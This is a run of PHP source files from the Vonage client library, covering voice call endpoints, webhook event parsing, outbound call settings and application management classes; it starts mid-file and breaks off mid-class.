declare(strict_types=1); namespace Vonage\Voice\Endpoint; class SIP implements EndpointInterface { /** * @var array<string, string> */ protected $headers = []; public function __construct(protected string $id, array $headers = []) { $this->setHeaders($headers); } public static function factory(string $uri, array $headers = []): SIP { return new SIP($uri, $headers); } /** * @return array{type: string, uri: string, headers?: array<string, string>} */ public function jsonSerialize(): array { return $this->toArray(); } /** * @return array{type: string, uri: string, headers?: array<string, string>} */ public function toArray(): array { $data = [ 'type' => 'sip', 'uri' => $this->id, ]; if (!empty($this->getHeaders())) { $data['headers'] = $this->getHeaders(); } return $data; } public function getId(): string { return $this->id; } public function getHeaders(): array { return $this->headers; } /** * @return $this */ public function addHeader(string $key, string $value): self { $this->headers[$key] = $value; return $this; } /** * @return $this */ public function setHeaders(array $headers): self { $this->headers = $headers; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Endpoint; use function array_key_exists; class Websocket implements EndpointInterface { public const TYPE_16000 = 'audio/116;rate=16000'; public const TYPE_8000 = 'audio/116;rate=8000'; /** * @var string */ protected $contentType; /** * @var array<string, string> */ protected $headers = []; public function __construct(protected string $id, string $rate = self::TYPE_8000, array $headers = []) { $this->setContentType($rate); $this->setHeaders($headers); } public static function factory(string $uri, array $data = []): Websocket { $endpoint = new Websocket($uri); if (array_key_exists('content-type', $data)) { $endpoint->setContentType($data['content-type']); } if (array_key_exists('headers', $data)) { $endpoint->setHeaders($data['headers']); } return $endpoint; } /** * @return array{type: string, uri: string, content-type?: string, headers?: array<string, string>} */ public function jsonSerialize(): array { return $this->toArray(); } /** * @return array{type: string, uri: string, content-type?: string, headers?: array<string, string>} */ public function toArray(): array { $data = [ 'type' => 'websocket', 'uri' => $this->id, 'content-type' => $this->getContentType(), ]; if (!empty($this->getHeaders())) { $data['headers'] = $this->getHeaders(); } return $data; } public function getId(): string { return $this->id; } public function getContentType(): string { return $this->contentType; } /** * @return $this */ public function setContentType(string $contentType): self { $this->contentType = $contentType; return $this; } public function getHeaders(): array { return $this->headers; } /** * @return $this */ public function addHeader(string $key, string $value): self { $this->headers[$key] = $value; return $this; } /** * @return $this */ public function setHeaders(array $headers): self { $this->headers = $headers; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Endpoint; class App implements EndpointInterface { public function __construct(protected string $id) { } public static function factory(string $user): App { return new App($user); } /** * @return array{type: string, user: string} */ public function jsonSerialize(): array { return $this->toArray(); } /** * @return array{type: string, user: string} */ public function toArray(): array { return [ 'type' => 'app', 'user' => $this->id, ]; } public function getId(): string { return $this->id; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Endpoint; use RuntimeException; use Vonage\Entity\Factory\FactoryInterface; class EndpointFactory implements FactoryInterface { public function create(array $data): ?EndpointInterface { return match ($data['type']) { 'app' => App::factory($data['user']), 'phone' => Phone::factory($data['number'], $data), 'sip' => SIP::factory($data['uri'], $data), 'vbc' => VBC::factory($data['extension']), 'websocket' => Websocket::factory($data['uri'], $data), default => throw new RuntimeException('Unknown endpoint type'), }; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Endpoint; class VBC implements EndpointInterface { public function __construct(protected string $id) { } public static function factory(string $extension): VBC { return new VBC($extension); } /** * @return array{type: string, user: string} */ public function jsonSerialize(): array { return $this->toArray(); } /** * @return array{type: string, user: string} */ public function toArray(): array { return [ 'type' => 'vbc', 'extension' => $this->id, ]; } public function getId(): string { return $this->id; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Endpoint; use function array_key_exists; class Phone implements EndpointInterface { /** * @var ?string */ protected $ringbackTone; /** * @var ?string */ protected $url; public function __construct(protected string $id, protected ?string $dtmfAnswer = null) { } public static function factory(string $number, array $data): Phone { $endpoint = new Phone($number); if (array_key_exists('dtmfAnswer', $data)) { $endpoint->setDtmfAnswer($data['dtmfAnswer']); } if (array_key_exists('onAnswer', $data)) { $endpoint->setUrl($data['onAnswer']['url']); if (array_key_exists('ringbackTone', $data['onAnswer'])) { $endpoint->setRingbackTone($data['onAnswer']['ringbackTone']); } // Legacy name for ringbackTone if (array_key_exists('ringback', $data['onAnswer'])) { $endpoint->setRingbackTone($data['onAnswer']['ringback']); } } return $endpoint; } public function getDtmfAnswer(): ?string { return $this->dtmfAnswer; } /** * @return array{type: string, number: string, dtmfAnswer?: string} */ public function jsonSerialize(): array { return $this->toArray(); } /** * @return $this */ public function setDtmfAnswer(string $dtmf): self { $this->dtmfAnswer = $dtmf; return $this; } /** * @return array{type: string, number: string, dtmfAnswer?: string} */ public function toArray(): array { $data = [ 'type' => 'phone', 'number' => $this->id, ]; if (null !== $this->getDtmfAnswer()) { $data['dtmfAnswer'] = $this->getDtmfAnswer(); } if (null !== $this->getUrl()) { $data['onAnswer']['url'] = $this->getUrl(); if (null !== $this->getRingbackTone()) { $data['onAnswer']['ringbackTone'] = $this->getRingbackTone(); } } return $data; } public function getId(): string { return $this->id; } public function getRingbackTone(): ?string { return $this->ringbackTone; } /** * @return $this */ public function setRingbackTone(string $ringbackTone): self { $this->ringbackTone = $ringbackTone; return $this; } public function getUrl(): ?string { return $this->url; } /** * @return $this */ public function setUrl(string $url): self { $this->url = $url; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice; use Exception; use Vonage\Entity\Factory\FactoryInterface; class CallFactory implements FactoryInterface { /** * @throws Exception */ public function create(array $data): Call { return new Call($data); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Call; /** * @deprecated This objects are no longer viable and will be removed in a future version */ class Inbound { } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Call; use Vonage\Client\Request\AbstractRequest; use function is_null; /** * @deprecated This objects are no longer viable and will be removed in a future version */ class Call extends AbstractRequest { /** * @param $url * @param $to * @param $from */ public function __construct($url, $to, $from = null) { $this->params['answer_url'] = $url; $this->params['to'] = $to; if (!is_null($from)) { $this->params['from'] = $from; } } /** * @param $url * @param $method * * @return $this */ public function setAnswer($url, $method = null): Call { $this->params['answer_url'] = $url; if (!is_null($method)) { $this->params['answer_method'] = $method; } else { unset($this->params['answer_method']); } return $this; } /** * @param $url * @param $method * * @return $this */ public function setError($url, $method = null): Call { $this->params['error_url'] = $url; if (!is_null($method)) { $this->params['error_method'] = $method; } else { unset($this->params['error_method']); } return $this; } /** * @param $url * @param $method * * @return $this */ public function setStatus($url, $method = null): Call { $this->params['status_url'] = $url; if (!is_null($method)) { $this->params['status_method'] = $method; } else { unset($this->params['status_method']); } return $this; } /** * @param bool $hangup * @param $timeout * * @return $this */ public function setMachineDetection($hangup = true, $timeout = null): Call { $this->params['machine_detection'] = ($hangup ? 'hangup' : 'true'); if (!is_null($timeout)) { $this->params['machine_timeout'] = (int)$timeout; } else { unset($this->params['machine_timeout']); } return $this; } public function getURI(): string { return '/call/json'; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Webhook; use DateTimeImmutable; use Exception; class Error { /** * @var string */ protected $conversationUuid; /** * @var string */ protected $reason; /** * @var DateTimeImmutable */ protected $timestamp; /** * @throws Exception */ public function __construct(array $event) { $this->conversationUuid = $event['conversation_uuid']; $this->reason = $event['reason']; $this->timestamp = new DateTimeImmutable($event['timestamp']); } public function getConversationUuid(): string { return $this->conversationUuid; } public function getReason(): string { return $this->reason; } public function getTimestamp(): DateTimeImmutable { return $this->timestamp; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Webhook; use DateTimeImmutable; use Exception; use function is_string; use function json_decode; class Notification { /** * @var array<string, mixed> */ protected $payload; /** * @var string */ protected $conversationUuid; /** * @var DateTimeImmutable */ protected $timestamp; /** * @throws Exception */ public function __construct(array $data) { if (is_string($data['payload'])) { $data['payload'] = json_decode($data['payload'], true); } $this->payload = $data['payload']; $this->conversationUuid = $data['conversation_uuid']; $this->timestamp = new DateTimeImmutable($data['timestamp']); } public function getPayload(): array { return $this->payload; } public function getConversationUuid(): string { return $this->conversationUuid; } public function getTimestamp(): DateTimeImmutable { return $this->timestamp; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Webhook; use DateTimeImmutable; use Exception; class Transfer { /** * @var string */ protected $conversationUuidFrom; /** * @var string */ protected $conversationUuidTo; /** * @var string */ protected $uuid; /** * @var DateTimeImmutable */ protected $timestamp; /** * @throws Exception */ public function __construct(array $event) { $this->conversationUuidFrom = $event['conversation_uuid_from']; $this->conversationUuidTo = $event['conversation_uuid_to']; $this->uuid = $event['uuid']; $this->timestamp = new DateTimeImmutable($event['timestamp']); } public function getConversationUuidFrom(): string { return $this->conversationUuidFrom; } public function getConversationUuidTo(): string { return $this->conversationUuidTo; } public function getUuid(): string { return $this->uuid; } public function getTimestamp(): DateTimeImmutable { return $this->timestamp; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Webhook; use DateTimeImmutable; use Exception; class Record { /** * @var DateTimeImmutable */ protected $startTime; /** * @var string */ protected $recordingUrl; /** * @var int */ protected $size; /** * @var string */ protected $recordingUuid; /** * @var DateTimeImmutable */ protected $endTime; /** * @var string */ protected $conversationUuid; /** * @var DateTimeImmutable */ protected $timestamp; /** * @throws Exception */ public function __construct(array $event) { $this->startTime = new DateTimeImmutable($event['start_time']); $this->endTime = new DateTimeImmutable($event['end_time']); $this->timestamp = new DateTimeImmutable($event['timestamp']); $this->recordingUrl = $event['recording_url']; $this->recordingUuid = $event['recording_uuid']; $this->conversationUuid = $event['conversation_uuid']; $this->size = (int)$event['size']; } public function getStartTime(): DateTimeImmutable { return $this->startTime; } public function getRecordingUrl(): string { return $this->recordingUrl; } public function getSize(): int { return $this->size; } public function getRecordingUuid(): string { return $this->recordingUuid; } public function getEndTime(): DateTimeImmutable { return $this->endTime; } public function getConversationUuid(): string { return $this->conversationUuid; } public function getTimestamp(): DateTimeImmutable { return $this->timestamp; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Webhook; class Answer { /** * @var string */ protected $conversationUuid; /** * @var string */ protected $from; /** * @var string */ protected $to; /** * @var string */ protected $uuid; public function __construct(array $event) { $this->from = $event['from']; $this->to = $event['to']; $this->uuid = $event['uuid'] ?? $event['call_uuid']; $this->conversationUuid = $event['conversation_uuid']; } public function getConversationUuid(): string { return $this->conversationUuid; } public function getFrom(): string { return $this->from; } public function getTo(): string { return $this->to; } public function getUuid(): string { return $this->uuid; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Webhook; use DateTimeImmutable; use Exception; use function is_string; use function json_decode; class Input { /** * @var array */ protected $speech; /** * @var array */ protected $dtmf; /** * @var string */ protected $from; /** * @var string */ protected $to; /** * @var string */ protected $uuid; /** * @var string */ protected $conversationUuid; /** * @var DateTimeImmutable */ protected $timestamp; /** * @throws Exception */ public function __construct(array $data) { // GET requests push this in as a string if (is_string($data['speech'])) { $data['speech'] = json_decode($data['speech'], true); } $this->speech = $data['speech']; // GET requests push this in as a string if (is_string($data['dtmf'])) { $data['dtmf'] = json_decode($data['dtmf'], true); } $this->dtmf = $data['dtmf']; $this->to = $data['to']; $this->from = $data['from']; $this->uuid = $data['uuid']; $this->conversationUuid = $data['conversation_uuid']; $this->timestamp = new DateTimeImmutable($data['timestamp']); } public function getSpeech(): array { return $this->speech; } public function getDtmf(): array { return $this->dtmf; } public function getFrom(): string { return $this->from; } public function getTo(): string { return $this->to; } public function getUuid(): string { return $this->uuid; } public function getConversationUuid(): string { return $this->conversationUuid; } public function getTimestamp(): DateTimeImmutable { return $this->timestamp; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Webhook; use Exception; use InvalidArgumentException; use Vonage\Webhook\Factory as WebhookFactory; use function array_diff; use function array_key_exists; use function array_keys; use function count; class Factory extends WebhookFactory { /** * @throws Exception * * @return mixed|Answer|Error|Event|Input|Notification|Record|Transfer */ public static function createFromArray(array $data) { if (array_key_exists('status', $data)) { return new Event($data); } // Answer webhooks have no defining type other than length and keys if (count($data) === 4 && array_diff(array_keys($data), ['to', 'from', 'uuid', 'conversation_uuid']) === []) { return new Answer($data); } if (array_key_exists('type', $data) && $data['type'] === 'transfer') { return new Transfer($data); } if (array_key_exists('recording_url', $data)) { return new Record($data); } if (array_key_exists('reason', $data)) { return new Error($data); } if (array_key_exists('payload', $data)) { return new Notification($data); } if (array_key_exists('speech', $data) || array_key_exists('dtmf', $data)) { return new Input($data); } throw new InvalidArgumentException('Unable to detect incoming webhook type'); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Webhook; use DateTimeImmutable; use Exception; use function array_key_exists; use function is_null; class Event { public const STATUS_STARTED = 'started'; public const STATUS_RINGING = 'ringing'; public const STATUS_ANSWERED = 'answered'; public const STATUS_BUSY = 'busy'; public const STATUS_CANCELLED = 'cancelled'; public const STATUS_UNANSWERED = 'unanswered'; public const STATUS_DISCONNECTED = 'disconnected'; public const STATUS_REJECTED = 'rejected'; public const STATUS_FAILED = 'failed'; public const STATUS_HUMAN = 'human'; public const STATUS_MACHINE = 'machine'; public const STATUS_TIMEOUT = 'timeout'; public const STATUS_COMPLETED = 'completed'; /** * @var string */ protected $conversationUuid; /** * @var string */ protected $detail; /** * @var string */ protected $direction; /** * @var ?string */ protected $duration; /** * @var ?DateTimeImmutable */ protected $endTime; /** * @var string */ protected $from; /** * @var ?string */ protected $network; /** * @var ?string */ protected $price; /** * @var ?string */ protected $rate; /** * @var string */ protected $status; /** * @var ?DateTimeImmutable */ protected $startTime; /** * @var DateTimeImmutable */ protected $timestamp; /** * @var string */ protected $to; /** * @var string */ protected $uuid; /** * @throws Exception */ public function __construct(array $event) { $this->from = $event['from'] ?? null; $this->to = $event['to']; $this->uuid = $event['uuid'] ?? $event['call_uuid']; $this->conversationUuid = $event['conversation_uuid']; $this->status = $event['status']; $this->direction = $event['direction']; $this->timestamp = new DateTimeImmutable($event['timestamp']); $this->rate = $event['rate'] ?? null; $this->network = $event['network'] ?? null; $this->duration = $event['duration'] ?? null; $this->price = $event['price'] ?? null; if (array_key_exists('start_time', $event) && !is_null($event['start_time'])) { $this->startTime = new DateTimeImmutable($event['start_time']); } if (array_key_exists('end_time', $event)) { $this->endTime = new DateTimeImmutable($event['end_time']); } $this->detail = $event['detail'] ?? null; } public function getConversationUuid(): string { return $this->conversationUuid; } /** * Returns additional details on the event, if available * Not all events contain this field, so it may be null. */ public function getDetail(): ?string { return $this->detail; } public function getDirection(): string { return $this->direction; } public function getFrom(): ?string { return $this->from; } public function getStatus(): string { return $this->status; } public function getTimestamp(): DateTimeImmutable { return $this->timestamp; } public function getTo(): string { return $this->to; } public function getUuid(): string { return $this->uuid; } public function getNetwork(): ?string { return $this->network; } public function getRate(): ?string { return $this->rate; } public function getStartTime(): ?DateTimeImmutable { return $this->startTime; } public function getEndTime(): ?DateTimeImmutable { return $this->endTime; } public function getDuration(): ?string { return $this->duration; } public function getPrice(): ?string { return $this->price; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice; use DateTime; use Exception; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use Vonage\Voice\Endpoint\EndpointFactory; use Vonage\Voice\Endpoint\EndpointInterface; use function array_key_exists; class Call implements ArrayHydrateInterface { /** * @var string */ protected $conversationUuid; /** * @var string */ protected $direction; /** * @var string */ protected $duration; /** * @var DateTime */ protected $endTime; /** * @var EndpointInterface */ protected $from; /** * @var string */ protected $network; /** * @var string */ protected $price; /** * @var string */ protected $rate; /** * @var DateTime */ protected $startTime; /** * @var string */ protected $status; /** * @var EndpointInterface */ protected $to; /** * @var string */ protected $uuid; /** * @throws Exception */ public function __construct(array $data = []) { if (!empty($data)) { $this->fromArray($data); } } /** * @throws Exception */ public function fromArray(array $data): void { if (array_key_exists('to', $data)) { $to = $data['to'][0] ?? $data['to']; $this->to = (new EndpointFactory())->create($to); } if (array_key_exists('from', $data)) { $from = $data['from'][0] ?? $data['from']; $this->from = (new EndpointFactory())->create($from); } $this->uuid = $data['uuid']; $this->conversationUuid = $data['conversation_uuid']; $this->status = $data['status']; $this->direction = $data['direction']; $this->rate = $data['rate'] ?? null; $this->duration = $data['duration'] ?? null; $this->price = $data['price'] ?? null; $this->startTime = new DateTime($data['start_time']); $this->endTime = new DateTime($data['end_time']); $this->network = $data['network'] ?? null; } public function getUuid(): string { return $this->uuid; } public function toArray(): array { $data = [ 'uuid' => $this->uuid, 'conversation_uuid' => $this->conversationUuid, 'status' => $this->status, 'direction' => $this->direction, 'rate' => $this->rate, 'duration' => $this->duration, 'price' => $this->price, 'start_time' => $this->startTime->format('Y-m-d H:i:s'), 'end_time' => $this->endTime->format('Y-m-d H:i:s'), 'network' => $this->network, ]; $to = $this->getTo(); $from = $this->getFrom(); if ($to) { $data['to'][] = $to->toArray(); } if ($from) { $data['from'][] = $from->toArray(); } return $data; } public function getTo(): EndpointInterface { return $this->to; } public function getRate(): string { return $this->rate; } public function getFrom(): EndpointInterface { return $this->from; } public function getStatus(): string { return $this->status; } public function getDirection(): string { return $this->direction; } public function getPrice(): string { return $this->price; } public function getDuration(): string { return $this->duration; } public function getStartTime(): DateTime { return $this->startTime; } public function getEndTime(): DateTime { return $this->endTime; } public function getNetwork(): string { return $this->network; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice; use InvalidArgumentException; use Vonage\Voice\Endpoint\EndpointInterface; use Vonage\Voice\Endpoint\Phone; use Vonage\Voice\NCCO\NCCO; use Vonage\Voice\VoiceObjects\AdvancedMachineDetection; class OutboundCall { public const MACHINE_CONTINUE = 'continue'; public const MACHINE_HANGUP = 'hangup'; protected ?Webhook $answerWebhook = null; protected ?Webhook $eventWebhook = null; /** * Length of seconds before Vonage hangs up after going into `in_progress` status */ protected int $lengthTimer = 7200; /** * What to do when Vonage detects an answering machine. */ protected ?string $machineDetection = ''; /** * Overrides machine detection if used for more configuration options */ protected ?AdvancedMachineDetection $advancedMachineDetection = null; protected ?NCCO $ncco = null; /** * Whether to use random numbers linked on the application */ protected bool $randomFrom = false; /** * Length of time Vonage will allow a phone number to ring before hanging up */ protected int $ringingTimer = 60; /** * Creates a new Outbound Call object * If no `$from` parameter is passed, the system will use a random number * that is linked to the application instead. */ public function __construct(protected EndpointInterface $to, protected ?Phone $from = null) { if (!$from) { $this->randomFrom = true; } } public function getAnswerWebhook(): ?Webhook { return $this->answerWebhook; } public function getEventWebhook(): ?Webhook { return $this->eventWebhook; } public function getFrom(): ?Phone { return $this->from; } public function getLengthTimer(): ?int { return $this->lengthTimer; } public function getMachineDetection(): ?string { return $this->machineDetection; } public function getNCCO(): ?NCCO { return $this->ncco; } public function getRingingTimer(): ?int { return $this->ringingTimer; } public function getTo(): EndpointInterface { return $this->to; } public function setAnswerWebhook(Webhook $webhook): self { $this->answerWebhook = $webhook; return $this; } public function setEventWebhook(Webhook $webhook): self { $this->eventWebhook = $webhook; return $this; } public function setLengthTimer(int $timer): self { $this->lengthTimer = $timer; return $this; } public function setMachineDetection(string $action): self { if ($action === self::MACHINE_CONTINUE || $action === self::MACHINE_HANGUP) { $this->machineDetection = $action; return $this; } throw new InvalidArgumentException('Unknown machine detection action'); } public function setNCCO(NCCO $ncco): self { $this->ncco = $ncco; return $this; } public function setRingingTimer(int $timer): self { $this->ringingTimer = $timer; return $this; } public function getRandomFrom(): bool { return $this->randomFrom; } public function getAdvancedMachineDetection(): ?AdvancedMachineDetection { return $this->advancedMachineDetection; } public function setAdvancedMachineDetection(?AdvancedMachineDetection $advancedMachineDetection): static { $this->advancedMachineDetection = $advancedMachineDetection; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Response; use RuntimeException; class Message { public function __construct(protected array $data) { } public function getStatus() { return $this->checkData('status'); } public function getId() { return $this->checkData('message-id'); } public function getTo() { return $this->checkData('to'); } public function getBalance() { return $this->checkData('remaining-balance'); } public function getPrice() { return $this->checkData('message-price'); } public function getNetwork() { return $this->checkData('network'); } public function getErrorMessage(): string { if (!isset($this->data['error-text'])) { return ''; } return $this->checkData('error-text'); } /** * @param $param */ protected function checkData($param) { if (!isset($this->data[$param])) { throw new RuntimeException('tried to access ' . $param . ' but data is missing'); } return $this->data[$param]; } public function toArray(): array { return $this->data; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Application; use function trigger_error; class VoiceConfig { public const EVENT = 'event_url'; public const ANSWER = 'answer_url'; protected ?bool $signedCallbacks = null; protected ?int $conversationsTtl = null; protected ?string $region = null; protected const ALLOWED_REGIONS = [ 'na-east', 'na-west', 'eu-west', 'eu-east', 'apac-sng', 'apac-australia' ]; /** * @var array */ protected $webhooks = []; public function setWebhook($type, $url, $method = null): self { if (!$url instanceof Webhook) { trigger_error( 'Passing a string URL and method are deprecated, please pass a Webhook object instead', E_USER_DEPRECATED ); $url = new Webhook($url, $method); } $this->webhooks[$type] = $url; return $this; } public function getWebhook($type) { return $this->webhooks[$type] ?? null; } public function getSignedCallbacks(): ?bool { return $this->signedCallbacks; } public function setSignedCallbacks(?bool $signedCallbacks): static { $this->signedCallbacks = $signedCallbacks; return $this; } public function getConversationsTtl(): ?int { return $this->conversationsTtl; } public function setConversationsTtl(?int $conversationsTtl): static { $this->conversationsTtl = $conversationsTtl; return $this; } public function getRegion(): ?string { return $this->region; } public function setRegion(?string $region): static { if (!in_array($region, self::ALLOWED_REGIONS, true)) { throw new \InvalidArgumentException('Unrecognised Region: ' . $region); } $this->region = $region; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Application; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api ->setBaseUri('/v2/applications') ->setCollectionName('applications') ->setAuthHandler(new BasicHandler()); return new Client($api, new Hydrator()); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Application; use Exception; use Psr\Http\Client\ClientExceptionInterface; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\ClientAwareInterface; use Vonage\Client\ClientAwareTrait; use Vonage\Client\Exception\Exception as ClientException; use Vonage\Entity\Hydrator\ArrayHydrator; use Vonage\Entity\Hydrator\HydratorInterface; use Vonage\Entity\IterableAPICollection; use function is_null; class Client implements ClientAwareInterface, APIClient { use ClientAwareTrait; public function __construct(protected APIResource $api, protected ?HydratorInterface $hydrator = null) { } public function getApiResource(): APIResource { if (is_null($this->api)) { $api = new APIResource(); $api->setClient($this->getClient()) ->setBaseUri('/v2/applications') ->setCollectionName('applications'); $this->api = $api; } return $this->api; } /** * Returns the specified application * * @throws ClientExceptionInterface * @throws ClientException */ public function get(string $application): Application { $data = $this->getApiResource()->get($application); $application = new Application(); $application->fromArray($data); return $application; } public function getAll(): IterableAPICollection { $response = $this->api->search(); $response->setApiResource(clone $this->api); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new Application()); $response->setHydrator($hydrator); return $response; } /** * Creates and saves a new Application * * @throws ClientExceptionInterface * @throws ClientException * @throws Exception */ public function create(Application $application): Application { // Avoids a mishap in the API where an ID can be set during creation $data = $application->toArray(); unset($data['id']); $response = $this->getApiResource()->create($data); return $this->hydrator->hydrate($response); } /** * Saves an existing application * * @throws ClientExceptionInterface * @throws ClientException * @throws Exception */ public function update($application, ?string $id = null): Application { if (!($application instanceof Application)) { trigger_error( 'Passing an array to Vonage\Application\Client::update() is deprecated, ' . 'please pass an Application object instead.', E_USER_DEPRECATED ); $application = $this->fromArray($application); } if (is_null($id)) { $id = $application->getId(); } else { trigger_error( 'Passing an ID to Vonage\Application\Client::update() is deprecated ' . 'and will be removed in a future release', E_USER_DEPRECATED ); } $data = $this->getApiResource()->update($id, $application->toArray()); return $this->hydrator->hydrate($data); } /** * Deletes an application from the Vonage account * * @throws ClientExceptionInterface * @throws ClientException */ public function delete(string $application): bool { $this->getApiResource()->delete($application); return true; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Application; use function trigger_error; class RtcConfig { public const EVENT = 'event_url'; /** * @var array */ protected $webhooks = []; public function setWebhook($type, $url, $method = null): self { if (!$url instanceof Webhook) { trigger_error( 'Passing a string URL and method are deprecated, please pass a Webhook object instead', E_USER_DEPRECATED ); $url = new Webhook($url, $method); } $this->webhooks[$type] = $url; return $this; } public function getWebhook($type) { return $this->webhooks[$type] ?? null; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Application; use Vonage\Entity\EntityInterface; interface ApplicationInterface extends EntityInterface { public function getId(): ?string; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Application; class VbcConfig { /** * @var bool */ protected $enabled = false; public function enable(): void { $this->enabled = true; } public function disable(): void { $this->enabled = false; } public function isEnabled(): bool { return $this->enabled; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Application; class Webhook implements \Stringable { public const METHOD_POST = 